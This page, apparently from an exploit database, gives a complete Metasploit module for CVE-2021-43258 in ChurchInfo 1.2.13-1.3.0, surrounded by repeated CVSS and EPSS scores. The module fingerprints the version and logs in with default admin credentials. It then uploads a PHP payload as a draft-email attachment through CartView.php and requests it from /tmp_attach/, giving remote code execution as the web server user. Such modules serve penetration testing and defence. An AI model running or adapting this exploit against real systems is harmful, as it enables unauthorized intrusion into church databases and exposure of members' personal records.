Lucene search

K
zdtM4lwhere1337DAY-ID-38081
HistoryNov 21, 2022 - 12:00 a.m.

ChurchInfo 1.2.13-1.3.0 Remote Code Execution Exploit

2022-11-2100:00:00
m4lwhere
0day.today
184

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9.1 High

AI Score

Confidence

High

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.052 Low

EPSS

Percentile

92.9%

This Metasploit module exploits the logic in the CartView.php page when crafting a draft email with an attachment. By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and then browsing to the location of the uploaded PHP file on the web server, arbitrary code execution as the web daemon user (e.g. www-data) can be achieved.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE',
        'Description' => %q{
          This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.
          By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the
          ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and
          then browsing to the location of the uploaded PHP file on the web server, arbitrary code
          execution as the web daemon user (e.g. www-data) can be achieved.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'm4lwhere <[emailΒ protected]>' ],
        'References' => [
          ['URL', 'http://www.churchdb.org/'],
          ['URL', 'http://sourceforge.net/projects/churchinfo/'],
          ['CVE', '2021-43258']
        ],
        'Platform' => 'php',
        'Privileged' => false,
        'Arch' => ARCH_PHP,
        'Targets' => [['Automatic Targeting', { 'auto' => true }]],
        'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => ['CRASH_SAFE'],
          'Reliability' => ['REPEATABLE_SESSION'],
          'SideEffects' => ['ARTIFACTS_ON_DISK', 'IOC_IN_LOGS']
        }
      )
    )
    # Set the email subject and message if interested
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']),
        OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']),
        OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']),
        OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']),
        OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!'])
      ]
    )
  end

  def check
    if datastore['SSL'] == true
      proto_var = 'https'
    else
      proto_var = 'http'
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'Default.php'),
      'method' => 'GET',
      'vars_get' => {
        'Proto' => proto_var,
        'Path' => target_uri.path
      }
    )

    unless res
      return CheckCode::Unknown('Target did not respond to a request to its login page!')
    end

    # Check if page title is the one that ChurchInfo uses for its login page.
    if res.body.match(%r{<title>ChurchInfo: Login</title>})
      print_good('Target is ChurchInfo!')
    else
      return CheckCode::Safe('Target is not running ChurchInfo!')
    end

    # Check what version the target is running using the upgrade pages.
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),
      'method' => 'GET'
    )

    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),
      'method' => 'GET'
    )

    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),
      'method' => 'GET'
    )

    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')
    else
      return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')
    end
  end

  #
  # The exploit method attempts a login, adds items to the cart, then creates the email attachment.
  # Adding items to the cart is required for the server-side code to accept the upload.
  #
  def exploit
    # Need to grab the PHP session cookie value first to pass to application
    vprint_status('Gathering PHP session cookie')
    if datastore['SSL'] == true
      vprint_status('SSL is true, changing protocol to HTTPS')
      proto_var = 'https'
    else
      vprint_status('SSL is false, leaving protocol as HTTP')
      proto_var = 'http'
    end
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'Default.php'),
      'method' => 'GET',
      'vars_get' => {
        'Proto' => proto_var,
        'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI']
      },
      'keep_cookies' => true
    )

    # Ensure we get a 200 from the application login page
    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")
    end

    # Check that we actually are targeting a ChurchInfo server.
    unless res.body.match(%r{<title>ChurchInfo: Login</title>})
      fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')
    end

    # Grab our assigned session cookie
    cookie = res.get_cookies
    vprint_good("PHP session cookie is #{cookie}")
    vprint_status('Attempting login')

    # Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'Default.php'),
      'method' => 'POST',
      'vars_post' => {
        'User' => datastore['USERNAME'],
        'Password' => datastore['PASSWORD'],
        'sURLPath' => datastore['TARGETURI']
      }
    )

    # A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.
    unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'
      fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")
    end
    vprint_good("Location header is #{res.headers['Location']}")
    print_good("Logged into application as #{datastore['USERNAME']}")
    vprint_status('Attempting exploit')

    # We must add items to the cart before we can send the emails. This is a hard requirement server-side.
    print_status('Navigating to add items to cart')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'SelectList.php'),
      'method' => 'GET',
      'vars_get' => {
        'mode' => 'person',
        'AddAllToCart' => 'Add+to+Cart'
      }
    )

    # Need to check that items were successfully added to the cart
    # Here we're looking through html for the version string, similar to:
    # Items in Cart: 2
    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")
    end
    cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)
    unless cart_items
      fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")
    end
    if cart_items['cart'].to_i < 1
      print_error('No items in cart detected')
      fail_with(Failure::UnexpectedReply,
                'Failure to add items to cart, no items were detected. Check if there are person entries in the application')
    end
    print_good("Items in Cart: #{cart_items}")

    # Uploading exploit as temporary email attachment
    print_good('Uploading exploit via temp email attachment')
    payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php'
    vprint_status("Payload name is #{payload_name}")

    # Create the POST payload with required parameters to be parsed by the server
    post_data = Rex::MIME::Message.new
    post_data.add_part(payload.encoded, 'application/octet-stream', nil,
                       "form-data; name=\"Attach\"; filename=\"#{payload_name}\"")
    post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"')
    post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"')
    post_data.add_part('Save Email', '', nil, 'form-data; name="submit"')
    file = post_data.to_s
    file.strip!
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'CartView.php'),
      'method' => 'POST',
      'data' => file,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    )

    # Ensure that we get a 200 and the intended payload was
    # successfully uploaded and attached to the draft email.
    unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")
      fail_with(Failure::Unknown, 'Failed to upload the payload.')
    end
    print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")

    # Have our payload deleted after we exploit
    register_file_for_cleanup(payload_name)

    # Make a GET request to the PHP file that was uploaded to execute it on the target server.
    print_good('Executing payload with GET request')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),
      'method' => 'GET'
    )
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9.1 High

AI Score

Confidence

High

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.052 Low

EPSS

Percentile

92.9%